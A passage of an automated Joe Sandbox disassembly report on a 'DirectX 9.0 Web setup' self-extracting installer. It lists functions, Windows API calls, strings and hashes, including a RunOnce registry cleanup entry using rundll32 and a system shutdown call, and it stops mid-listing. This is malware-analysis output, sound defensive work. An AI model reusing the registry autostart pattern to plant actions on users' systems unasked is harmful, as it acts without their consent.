Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: ProcessToken$AdjustCurrentLookupOpenPrivilegePrivilegesValue
String ID: SeShutdownPrivilege
API String ID: 2349140579-3733053543
Opcode ID: 593663a4c8d54b802f0f1e7a054ef3afb4eab00d1d64c970485e8e945c1f4114
Instruction ID: 05607d40d37e3d7cfa1acf5e7c24027e9414555ed0db78eb33ce689f5d9f9449
Opcode Fuzzy Hash: 593663a4c8d54b802f0f1e7a054ef3afb4eab00d1d64c970485e8e945c1f4114
Instruction Fuzzy Hash: 21014C71642225BAF7329BA28C0DFEF7EACEF06794F000410BA89E40C5D6B5D70496F5

Function 0100263F Relevance: 1.5, APIs: 1, Instructions: 24shutdownCOMMON

Download Yara Rule

APIs

ExitWindowsEx.USER32(00000002,00000000), ref: 01002681

Part of subcall function 010018B5: GetCurrentProcess.KERNEL32(00000028,00000004,00000000,?,?,01005ACB,00000000), ref: 010018C2
Part of subcall function 010018B5: OpenProcessToken.ADVAPI32(00000000), ref: 010018C9

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Process$CurrentExitOpenTokenWindows
String ID:
API String ID: 2795981589-0
Opcode ID: be1fa5d6ff6b383463169fe5ad6f937a4c193f6604caf8e2e6f9bacbda75ccd5
Instruction ID: 51cfbc9f9594ef64733f325afd49e40a3b229e39ce56858cbad60d3a963125f2
Opcode Fuzzy Hash: be1fa5d6ff6b383463169fe5ad6f937a4c193f6604caf8e2e6f9bacbda75ccd5
Instruction Fuzzy Hash: 5EE08C7068830670FEB327A44E4FB2956D05B5DF18F148589FBC5B90C2CEF9C5918A2A

Function 010080E2 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94dfc90b70575c19e3580177b28661a5fa6066ea7c0266af5a04ec66b46a9598
Instruction ID: f4983a0e36b43ffcb518e60d76000cdcfe8a0af48af8faed87a4da5ec99b531e
Opcode Fuzzy Hash: 94dfc90b70575c19e3580177b28661a5fa6066ea7c0266af5a04ec66b46a9598
Instruction Fuzzy Hash: FBB18835A056959BDB1ACF28C4B02EEBBA0BF45314F18C2AED9D65B782C7309A55C7C0

Function 01007E02 Relevance: .3, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6cf292941154d0cd74ae677f771b0fd9eb91a69feae1d5814fbd6b05e46b596
Instruction ID: 2aba7d770cb182b78b7652e6660436575dda3edefe08705f868ec3b507a5431e
Opcode Fuzzy Hash: a6cf292941154d0cd74ae677f771b0fd9eb91a69feae1d5814fbd6b05e46b596
Instruction Fuzzy Hash: 30A18331A052959BDB0ACF58C0A01EDFBB0FF15714F1982AED9D66B782C7346A55CB80

Function 0100791E Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84d648d0c2a16e755c7f17ce33ad772204976945cc31b9215aee01e7bcf3b4c0
Instruction ID: a80a0796c6c78a90fa091916d3490ddb8f164fad7c0897db2317df91665225f3
Opcode Fuzzy Hash: 84d648d0c2a16e755c7f17ce33ad772204976945cc31b9215aee01e7bcf3b4c0
Instruction Fuzzy Hash: 7B8186319056569FDB1ACF58C0E01EDBBB0FF46314F1882ADD9D66B382C6346A95CBC0

Function 0100878E Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fac211542a3869dc8880f68233b4de0dfb7fb2ced29cb3492eb621ecda2867df
Instruction ID: 8b19583f7cc30d59397d6f805d7a34eb48c67b28d2acfd70727ba9726ee87818
Opcode Fuzzy Hash: fac211542a3869dc8880f68233b4de0dfb7fb2ced29cb3492eb621ecda2867df
Instruction Fuzzy Hash: 4961C231A105598BEF2ADE6CC4504AD7BE2FFC9380F28852EEDD2C7295DA30D856C740

Function 010030A7 Relevance: 33.6, APIs: 14, Strings: 5, Instructions: 351stringCOMMON

Download Yara Rule

APIs

CharNextA.USER32(00000000,00000001,DirectX 9.0 Web setup,00000000), ref: 010030FC
GetModuleFileNameA.KERNEL32(0100B99E,00000104,00000001,DirectX 9.0 Web setup,00000000), ref: 010031AB
CharUpperA.USER32(?), ref: 010031F2
CharUpperA.USER32(-0000004F), ref: 0100327E
lstrcmpiA.KERNEL32(RegServer,?), ref: 010032FB
CharUpperA.USER32(?), ref: 0100332C
CharUpperA.USER32(-0000004E), ref: 01003390
lstrlenA.KERNEL32(0000002F), ref: 010033F4
CharUpperA.USER32(?,0000002F,00000000), ref: 0100341F
lstrcpyA.KERNEL32(0100B89A,0000002F), ref: 01003445
lstrlenA.KERNEL32(0000002F), ref: 010034A7
lstrcpyA.KERNEL32(0100BAA2,0000002F,0000002F,00000000,0000002F,0000005D,0000002F,0000005B), ref: 01003510
CloseHandle.KERNEL32(00000000), ref: 01003527
ExitProcess.KERNEL32 ref: 0100352F

Strings

:, xrefs: 01003481
-, xrefs: 010031D7
", xrefs: 01003490
DirectX 9.0 Web setup, xrefs: 010030B4
RegServer, xrefs: 010032F6

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Char$Upper$lstrcpylstrlen$CloseExitFileHandleModuleNameNextProcesslstrcmpi
String ID: "$-$:$DirectX 9.0 Web setup$RegServer
API String ID: 497476604-3032641433
Opcode ID: 371de19490df7cb82253388f7ccfcefcc3d42cf60ba8daf27433a3a64da543f6
Instruction ID: dd2cde4f62ecb0696e2bc8a39cc73c6255fd3d926b1c092d9355c5c2792a8576
Opcode Fuzzy Hash: 371de19490df7cb82253388f7ccfcefcc3d42cf60ba8daf27433a3a64da543f6
Instruction Fuzzy Hash: 74C1E075908694AEFB738B2C88493FA7FE4BB12341F4840D6E6C19E1D5CBB88685CB51

Function 010038CC Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 138stringmemorywindowCOMMON

Download Yara Rule

APIs

Part of subcall function 01002AA6: LoadStringA.USER32(?,00000200,?,LoadString() Error. Could not load string resource.), ref: 01002AC1

MessageBoxA.USER32(00000000,?,DirectX 9.0 Web setup,00000000), ref: 01003946
lstrlenA.KERNEL32(0000007F,?,?,00000200,00000001,DirectX 9.0 Web setup), ref: 01003963
lstrlenA.KERNEL32(00000000), ref: 0100396A
lstrlenA.KERNEL32(00000000), ref: 01003975
LocalAlloc.KERNEL32(00000040,00000064), ref: 0100397E
wsprintfA.USER32 ref: 01003998
lstrlenA.KERNEL32(00000000,?,?,00000200,00000001,DirectX 9.0 Web setup), ref: 010039B2
lstrlenA.KERNEL32(00000000), ref: 010039BD
LocalAlloc.KERNEL32(00000040,00000064), ref: 010039C6
wsprintfA.USER32 ref: 010039E1
lstrlenA.KERNEL32(00000000,?,?,00000200,00000001,DirectX 9.0 Web setup), ref: 010039F3
LocalAlloc.KERNEL32(00000040,00000001), ref: 010039FD
lstrcpyA.KERNEL32(00000000,00000000), ref: 01003A15
MessageBeep.USER32(?), ref: 01003A1E
MessageBoxA.USER32(00000000,00000000,DirectX 9.0 Web setup,00000000), ref: 01003A5E
LocalFree.KERNEL32(00000000), ref: 01003A67

Part of subcall function 01005D22: GetVersionExA.KERNEL32(?), ref: 01005D57
Part of subcall function 01005D22: GetSystemMetrics.USER32(0000004A), ref: 01005D85
Part of subcall function 01005D22: RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 01005DA4
Part of subcall function 01005D22: RegQueryValueExA.ADVAPI32(?,01001251,00000000,?,?,?,?), ref: 01005DC5
Part of subcall function 01005D22: RegCloseKey.ADVAPI32(?), ref: 01005DD0

Strings

DirectX 9.0 Web setup, xrefs: 010038DC, 0100393A, 01003A55
LoadString() Error. Could not load string resource., xrefs: 010038E1

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: lstrlen$Local$AllocMessage$wsprintf$BeepCloseFreeLoadMetricsOpenQueryStringSystemValueVersionlstrcpy
String ID: DirectX 9.0 Web setup$LoadString() Error. Could not load string resource.
API String ID: 374963636-2857572701
Opcode ID: 29eaf20adb8414ecd2b4ec2a36024fe3784d745325a63702e793e7b321412cb4
Instruction ID: 9f594f166ace6732594a8fb8e6c25f38449a5eba683ea2e31a4322fc80030977
Opcode Fuzzy Hash: 29eaf20adb8414ecd2b4ec2a36024fe3784d745325a63702e793e7b321412cb4
Instruction Fuzzy Hash: A6416631500259AFFB63AB64DC49FEA3AA8FF04350F040551FDC1DA195DBB5CA94CBA0

Function 01004E56 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 183windowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32(000003E8,0100A640,00000200), ref: 01004EAF
GetDesktopWindow.USER32 ref: 01005009
SetWindowTextA.USER32(?,DirectX 9.0 Web setup), ref: 0100501F
SendDlgItemMessageA.USER32(?,00000835,000000C5,00000103,00000000), ref: 01005038
GetDlgItem.USER32(?,00000836), ref: 01005051
EnableWindow.USER32(00000000), ref: 01005058
EndDialog.USER32(?,00000000), ref: 01005065

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 01004F3B, 01004F40, 01004F55, 01004F63, 01004F76, 01004F8C, 01004F9B, 01004FA8, 01004FAE, 01004FDD
DirectX 9.0 Web setup, xrefs: 01005019

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Window$Item$DesktopDialogEnableLoadMessageSendStringText
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$DirectX 9.0 Web setup
API String ID: 2418873061-3197627661
Opcode ID: 631fb0b2ebf77da2618df05cbc4a49d4bbcce4c3538e6841af407c24bcd3fbff
Instruction ID: 5d03767cd6d44e1ff7b95dfa45677d46a9542d139ef34e3ffbaad0eb8858980f
Opcode Fuzzy Hash: 631fb0b2ebf77da2618df05cbc4a49d4bbcce4c3538e6841af407c24bcd3fbff
Instruction Fuzzy Hash: EF519070241745BAF6735B668C4CFAF2EACEB86B45F004018B7C5EA0C5DAB9C611C7B8

Function 01005075 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 126threadwindowCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(00000000), ref: 010050B2
EndDialog.USER32(?,?), ref: 010050BE
ResetEvent.KERNEL32 ref: 010050DF
SetEvent.KERNEL32(000004B2,01001251,00000000,00000020,00000004), ref: 0100510F
GetDesktopWindow.USER32 ref: 01005146
GetDlgItem.USER32(?,0000083B), ref: 01005176
SendMessageA.USER32(00000000,?,?,00000000), ref: 0100517F
GetDlgItem.USER32(?,0000083B), ref: 01005191
SendMessageA.USER32(00000000,?,?,00000000), ref: 01005194
SetWindowTextA.USER32(?,DirectX 9.0 Web setup), ref: 010051A2
CreateThread.KERNEL32(00000000,00000000,Function_000049DB,00000000,00000000,0100AA48), ref: 010051B6
EndDialog.USER32(?,00000000), ref: 010051D7
EndDialog.USER32(?,00000000), ref: 010051FC

Strings

DirectX 9.0 Web setup, xrefs: 0100519C

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Dialog$EventItemMessageSendThreadWindow$CreateDesktopResetTerminateText
String ID: DirectX 9.0 Web setup
API String ID: 2636921890-3102400635
Opcode ID: 2e5909da755b8dd92093ec91b293cd0599467003ecf1b2f192f568b12a924e3b
Instruction ID: 23f09e72cf5f3eaed0e006cdafc8c359d8237540093a3079cf3abfc6ea3c4f62
Opcode Fuzzy Hash: 2e5909da755b8dd92093ec91b293cd0599467003ecf1b2f192f568b12a924e3b
Instruction Fuzzy Hash: 0A415F31641225FBFB331B689C49EAA3EA8EB46B50F004011F6C5A64D9C77A9951CFD4

Function 010046D4 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 109libraryloaderstringCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(SHELL32.DLL,0100A640,0100A338,?), ref: 010046E2
GetProcAddress.KERNEL32(00000000,SHBrowseForFolder), ref: 01004703
GetProcAddress.KERNEL32(00000000,000000C3), ref: 01004716
GetProcAddress.KERNEL32(00000000,SHGetPathFromIDList), ref: 01004729
GetTempPathA.KERNEL32(00000104,0100AA80), ref: 01004749
lstrlenA.KERNEL32(0100AA80), ref: 01004750
CharPrevA.USER32(0100AA80,00000000), ref: 01004760
CharPrevA.USER32(0100AA80,00000000), ref: 0100476C
lstrcpyA.KERNEL32(?,0100AA80), ref: 010047BD
FreeLibrary.KERNEL32(?), ref: 010047CC
FreeLibrary.KERNEL32(00000000), ref: 010047DC

Strings

SHGetPathFromIDList, xrefs: 01004723
SHBrowseForFolder, xrefs: 010046FD
SHELL32.DLL, xrefs: 010046DD

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemplstrcpylstrlen
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 2439948570-1731843650
Opcode ID: 3324b512f0aa79aaecc928bbb591f72aff6d5178d9e94c9ee451a4be34d2a9a1
Instruction ID: 193eb6bc1a1b02d365b45401d2cfe27bf2cb542b23eb453a0d77d81c3b9a3dce
Opcode Fuzzy Hash: 3324b512f0aa79aaecc928bbb591f72aff6d5178d9e94c9ee451a4be34d2a9a1
Instruction Fuzzy Hash: 3F315EB1A01258BFEB139F69CC88DAE7FB8BF0A340F554069F688E6180C7758945CB65

Function 01002081 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 101registrystringCOMMON

Download Yara Rule

APIs

CharUpperA.USER32(?,00000001,?,00000000), ref: 010020A8
CharNextA.USER32(?), ref: 010020B7
CharNextA.USER32(00000000), ref: 010020BA
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,00000000), ref: 01002110
RegQueryValueExA.ADVAPI32(?,01001251,00000000,?,?,?), ref: 01002133
ExpandEnvironmentStringsA.KERNEL32(?,?,00000104), ref: 0100214E
lstrcpyA.KERNEL32(?,?), ref: 01002162
RegCloseKey.ADVAPI32(?), ref: 01002176
lstrcpyA.KERNEL32(?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 010020EA

Part of subcall function 01005B32: lstrlenA.KERNEL32(01003456,0000002F,0100B89A,01003456,0100B89A,01001251), ref: 01005B39
Part of subcall function 01005B32: CharPrevA.USER32(01003456,00000000), ref: 01005B49
Part of subcall function 01005B32: lstrcpyA.KERNEL32(00000000,?), ref: 01005B66

GetWindowsDirectoryA.KERNEL32(?,?), ref: 01002184
GetSystemDirectoryA.KERNEL32(?,?), ref: 01002198

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 010020D6

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Char$lstrcpy$DirectoryNext$CloseEnvironmentExpandOpenPrevQueryStringsSystemUpperValueWindowslstrlen
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 347548745-2428544900
Opcode ID: a6771fd5372bea0d88a9c6ef6506abc8c0f7b881c05286ce2042d5bdc15aa5be
Instruction ID: d6a3e7514927295ec277a6c60e19e56b03ab3a9e12423da05e88d21a123d547c
Opcode Fuzzy Hash: a6771fd5372bea0d88a9c6ef6506abc8c0f7b881c05286ce2042d5bdc15aa5be
Instruction Fuzzy Hash: E0314A79900248BFEF228F64CC48FEE7BBDAF15350F008095FA84A6090D7B5DA958F90

Function 01001B8B Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 75registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,0002001F,?,00000000), ref: 01001BB7
RegQueryValueExA.ADVAPI32(?,wextract_cleanup0,00000000,00000000,?,00000000,771AF530), ref: 01001BE3
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 01001C12
wsprintfA.USER32 ref: 01001C46
lstrlenA.KERNEL32(?), ref: 01001C56
RegSetValueExA.ADVAPI32(?,wextract_cleanup0,00000000,00000001,?,00000001), ref: 01001C6C

Part of subcall function 01005B32: lstrlenA.KERNEL32(01003456,0000002F,0100B89A,01003456,0100B89A,01001251), ref: 01005B39
Part of subcall function 01005B32: CharPrevA.USER32(01003456,00000000), ref: 01005B49
Part of subcall function 01005B32: lstrcpyA.KERNEL32(00000000,?), ref: 01005B66

RegCloseKey.ADVAPI32(?), ref: 01001C75

Strings

wextract_cleanup0, xrefs: 01001B97, 01001BD3, 01001BD8, 01001C68
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 01001C2E
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 01001C40
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 01001BAD

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Valuelstrlen$CharCloseDirectoryOpenPrevQuerySystemlstrcpywsprintf
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup0
API String ID: 11565330-4285006626
Opcode ID: 5599e54c7d9c30600de5d0d1969bc1e94db08515ae13c163f555adafc5244e2b
Instruction ID: 2fb7fcdbff80cae6b570ff950ba8ccadd0e573114065fe0f363dccfd66d38777
Opcode Fuzzy Hash: 5599e54c7d9c30600de5d0d1969bc1e94db08515ae13c163f555adafc5244e2b
Instruction Fuzzy Hash: 25215375A4021CBBEB22DBA5DD49FDABB7CEB08740F0000A5F689E6081D7B5DB448F60

Function 01003566 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 76stringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0100358A
FindResourceA.KERNEL32(00000000,?,0000000A), ref: 01003596
LoadResource.KERNEL32(00000000,00000000,00000000,?,?,?,?,01005A22,00000000,01005ACB,?,?,01005ACB), ref: 010035AB
LockResource.KERNEL32(00000000,?,?,?,?,01005A22,00000000,01005ACB,?,?,01005ACB), ref: 010035B2
lstrlenA.KERNEL32(00000008,?,?,?,?,01005A22,00000000,01005ACB,?,?,01005ACB), ref: 010035CD
FreeResource.KERNEL32(00000000,?,?,?,?,01005A22,00000000,01005ACB,?,?,01005ACB), ref: 010035E7
wsprintfA.USER32 ref: 010035FC
FindResourceA.KERNEL32(00000000,?,0000000A), ref: 01003609
FreeResource.KERNEL32(00000000,?,?,?,?,01005A22,00000000,01005ACB,?,?,01005ACB), ref: 01003628

Strings

UPDFILE%lu, xrefs: 0100357A, 010035F6

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Resource$FindFreewsprintf$LoadLocklstrlen
String ID: UPDFILE%lu
API String ID: 3821519360-2329316264
Opcode ID: cefe3b29808c0de11ca19ee608c6f983850b7a9791d33d4cc506cee2b882d878
Instruction ID: 67bd43b507032c87e08e44f5702343a162528d16cb23afe419e5d1f44a4bfc8c
Opcode Fuzzy Hash: cefe3b29808c0de11ca19ee608c6f983850b7a9791d33d4cc506cee2b882d878
Instruction Fuzzy Hash: C8215171A00209AFDB12DFD5DC88AEEBBF8FB48701F108055F585E6144D776D6008B61

Function 010021FB Relevance: 16.6, APIs: 11, Instructions: 90stringCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000104,00000104,00000000,771A83C0), ref: 01002235
IsDBCSLeadByte.KERNEL32(00000000,?,771AE800), ref: 01002256
CharNextA.USER32(?,?,771AE800), ref: 01002270
CharUpperA.USER32(00000000,?,771AE800), ref: 01002278
lstrlenA.KERNEL32(?,?,?,771AE800), ref: 01002291
CharPrevA.USER32(?,?,?,771AE800), ref: 0100229D
CharUpperA.USER32(00000000,?,771AE800), ref: 010022B5
lstrcpyA.KERNEL32(?,?,?,771AE800), ref: 010022C5
lstrlenA.KERNEL32(?,?,771AE800), ref: 010022D0
CharNextA.USER32(?,?,771AE800), ref: 010022DC
CharNextA.USER32(?,?,771AE800), ref: 010022E1

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Char$Next$Upperlstrlen$ByteFileLeadModuleNamePrevlstrcpy
String ID:
API String ID: 2740425872-0
Opcode ID: 6f55dd0f941396175fb476c6ce2b428a4e45a6200b6cc63fadfff151ab2f4b34
Instruction ID: c065ed5666d739eb8cb46574119231d274ae865d8c51cf87fce0dafe64722b0d
Opcode Fuzzy Hash: 6f55dd0f941396175fb476c6ce2b428a4e45a6200b6cc63fadfff151ab2f4b34
Instruction Fuzzy Hash: B631B1714083816FE773DFB88848BAABBEC6F4A700F58489AE5D0D3182D779D445CB66

Function 01003773 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000000), ref: 010037A8
GetDesktopWindow.USER32 ref: 010037B8
SetDlgItemTextA.USER32(?,00000834,?), ref: 010037D5
SetWindowTextA.USER32(?,DirectX 9.0 Web setup), ref: 010037E1
SetForegroundWindow.USER32(?), ref: 010037E8
GetDlgItem.USER32(?,00000834), ref: 010037F5
SendDlgItemMessageA.USER32(?,00000834,000000B1,000000FF,00000000), ref: 01003822

Strings

DirectX 9.0 Web setup, xrefs: 010037DB

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: ItemWindow$Text$DesktopDialogForegroundMessageSend
String ID: DirectX 9.0 Web setup
API String ID: 3995847246-3102400635
Opcode ID: 0416d64abb4ccf835619947f66294db8555aab5d7019f45f1413da29fbb76d96
Instruction ID: 01c3b69a9c1d9b51098dd75da9e10fd26e27e0a568cfd527d8e7b98c3a4c5e06
Opcode Fuzzy Hash: 0416d64abb4ccf835619947f66294db8555aab5d7019f45f1413da29fbb76d96
Instruction Fuzzy Hash: DB116A35144305AFFB735F68DC4CBAA3AA4FB4AB61F000165F5D9991C4C7BA8281D791

Function 010015F6 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 58librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,00000000,?,?,010016C1,?,00000000,?,01004E0E,?,?,00000000), ref: 0100161A
GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 0100162E
AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,DirectX 9.0 Web setup,?,?,010016C1), ref: 0100165E
